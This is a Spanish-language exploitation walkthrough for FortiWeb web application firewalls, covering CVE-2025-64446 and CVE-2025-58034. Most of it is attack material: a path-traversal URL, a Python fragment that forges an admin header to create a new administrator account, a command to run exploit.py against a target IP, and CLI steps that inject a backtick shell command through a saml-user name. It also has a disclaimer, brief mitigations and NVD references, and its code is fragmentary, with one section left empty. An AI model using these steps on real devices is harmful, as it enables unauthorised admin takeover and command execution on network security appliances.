Simulación de explotación de FortiWeb (CVE-2025-64446 & CVE-2025-58034)

Nota:

• Este documento es solo para fines educativos y de investigación en seguridad.
• No lo utilice para atacar sistemas sin autorización.

1. Resumen

FortiWeb es un dispositivo Web Application Firewall (WAF) utilizado para proteger aplicaciones web.

En el año 2025, se descubrieron dos vulnerabilidades críticas:

• CVE-2025-64446 – Omisión de autenticación mediante Path Traversal
• CVE-2025-58034 – Inyección de comandos del sistema operativo

2. Resumen de CVE-2025-64446

Ejemplo:

/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi

3. Resumen de CVE-2025-58034

4. Proceso experimental (POC)

4.1. Preparación del entorno:

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

Esto ayuda a evitar conflictos de versiones de bibliotecas, garantiza la estabilidad del entorno de trabajo y limita el impacto en el sistema.

4.2 Explotación

Payload

 cgiinfo_json = {
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
    }
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
        resp = conn.getresponse()
result = {
            'target': f"{host}:{port}",
            'status': resp.status,
            'user': username,
            'password': password,
            'success': resp.status == 200
        }

Ejecutar la herramienta con Python3:

python3 exploit.py <IP_target>

• <IP_target>: La dirección IP aquí es el nombre de host del dispositivo FortiWeb.

Se obtiene nombre de usuario y contraseña -> proceder al inicio de sesión

Explotación exitosa y se crea una nueva cuenta con privilegios de administrador.

4.3 Explotación de CVE-2025-58034 después de iniciar sesión con la cuenta

Después de iniciar sesión exitosamente con la nueva cuenta de administrador, el atacante puede explotar la vulnerabilidad de inyección de comandos autenticada mediante solicitudes especialmente diseñadas o directamente a través de la interfaz de línea de comandos de FortiWeb CLI:

config user saml-user

edit "`id`" ## ingresar el comando aquí

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

FortiWeb saldrá de la cadena de configuración y ejecutará el comando id durante el proceso de configuración de saml-user.

5. Algunas formas de mitigar las vulnerabilidades

• Actualizar FortiWeb a la versión parcheada.
• Limitar el acceso a la interfaz de administración.
• No exponer la interfaz de gestión a Internet.
• Revisar cuentas de administrador inusuales.

6. Referencias adicionales

• CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
• CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034